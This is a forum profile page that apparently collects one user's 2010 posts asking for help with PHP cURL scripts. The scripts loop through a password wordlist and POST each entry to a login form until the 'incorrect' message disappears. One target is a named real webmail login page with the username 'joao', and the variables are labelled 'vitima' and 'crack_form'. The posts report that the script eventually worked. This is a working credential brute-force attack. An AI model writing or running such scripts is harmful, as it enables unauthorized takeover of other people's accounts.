Jump to content


Xapolino

Member Since 02/11/2010
Offline Last Active 11/12/2010, 18:06
-----

Posts I've Made

In Topic: While Não Para

16/11/2010, 02:12

não sei como o curl interpreta, mais em última função com pass
na lista, o resutado volta zero e exibe corretamente, ou seja então
era para estar voltando $resultado = 0 no percurso de testes sim, mais enfim
acabei deixando de lado isso por agora, acabei recuperando a senha pelo suporte

embora esteja esse problema ai no script serviu-me como aprendizado

valeu!

In Topic: While Não Para

08/11/2010, 21:05

agora só tem um while no script, tentei fazer conforme você disse tbm e não deu certo,
até tentei mudar um pouco o paramentro aqui mais ainda continua mesma coisa


$dic_senha = "s.txt";
$url_vitima = "http://servidor/login.php";
$nome_campo_usuario = "LOGIN";
$nome_campo_senha = "PASSWD";
$palavra_erro_autenticacao = "incorreto";
$crackeado = FALSE;
//$fhu = fopen ($dic_usuario, "r" );
$fhs = fopen ($dic_senha, "r" );
$usuario = "jonathan";
       
    while ( $senha = fgets ( $fhs, 1024 ) ) {
    $crack_form = curl_init();
    curl_setopt ( $crack_form, CURLOPT_URL, $url_vitima );
    curl_setopt ( $crack_form, CURLOPT_POST, TRUE );
    curl_setopt ( $crack_form, CURLOPT_POSTFIELDS, $nome_campo_usuario."=".$usuario."&".$nome_campo_senha."=".$senha);
    curl_setopt ( $crack_form, CURLOPT_RETURNTRANSFER, TRUE );
    
       $conteudo_pagina = curl_exec ( $crack_form );
       $resultado = eregi ( $palavra_erro_autenticacao, $conteudo_pagina );
             
 if ( $resultado == 0 ) {
  
   echo "$senha is the password!";
   break;
   }
  }
 
  fclose($fhs);		


era para esse break ai tá parando veio,
estou perdendo muito tempo nisso :\

In Topic: Login Automatico Help

07/11/2010, 10:42

até volta um erro na mesma página dizendo, [004] Usuário desconhecido ou senha incorreta
Por favor, tente novamente.

mais como vou manipular isso ?
eu já vi o comando replace que da para mudar o conteúdo, mais para manipular assim
vou pesquisar

<?php
$ch = curl_init();
// informar URL e outras funções ao CURL
curl_setopt($ch, CURLOPT_URL, "http://www.google.com.br");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);

// acessar URL
$output = curl_exec($ch);

$output = strpos('Google',$output);

if($output == true){
echo "Existe";
}else{
echo "Inexistente";
}

seria mais ou menos isso ?
pq não está funcionando

Perfeito!
era o eregi que tava errado,
deu certo agora...
LeoB obrigado

[]'s

In Topic: Login Automatico Help

06/11/2010, 18:46

Cara, segundo eu tentei aqui, a resposta do servidor me volta 200 mesmo com senha certa ou errada, e agora ?



<?php

   $curl = curl_init(); // inicia
  
   curl_setopt($curl, CURLOPT_URL,"http://webmail.itelefonica.com.br/cgi-bin/emslogin.cgi");
   curl_setopt($curl, CURLOPT_POSTFIELDS, "PASSWD=teste&LOGIN=joao");
   curl_setopt($curl, CURLOPT_POST, 1);
   curl_exec ($curl); // executa

  $response_code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
   
  echo "$response_code"; // exibe a resposta

?> 

In Topic: Login Automatico Help

05/11/2010, 14:37

é só um teste para ver se o funcionava ali kkk,

mais consegui me logar,
nos testes quando o login é errado da até para fazer um replace na saida pois volta na mesma
pagina que esta no curl, agora quando o login é certo redireciona para a inbox ai nao pode mexer em nada

-----

estou tentando fazer desse modo para exiber uma mensagem:


<?php
  $fh = fopen("lista.txt", "r");
  while(!feof($fh)) {
   $curl = curl_init();
   $pass = fgets($fh,1024);
   $data = fread($fh, filesize('lista.txt'));

   curl_setopt($curl, CURLOPT_URL,"http://webmail.itelefonica.com.br/cgi-bin/emslogin.cgi");
   curl_setopt($curl, CURLOPT_POST, 1);
   curl_setopt($curl, CURLOPT_POSTFIELDS, "PASSWD=$pass&LOGIN=joao");

   curl_exec ($curl);
   curl_close ($curl);
   

  $result = eregi("004", $data);
   if ( $result == 0 ) {
        echo "$pass is the password!";
   break;
  fclose($fh);
  }
 }

?> 

mais não da certo, porque quando o login não bate a página não volta nenhum erro separado,
e agora ?

como não tenho permisão para editar,

ali no lista.txt ele só está carregando o primeiro a lista,
para carregar oque tiver dentro da lista pulano linha por linha
e juntar na string, como posso fazer ?

acho que isso irá resolver o problema pq quando entrar, o link redireciona
ai o script para de executar

IPB Skin By Virteq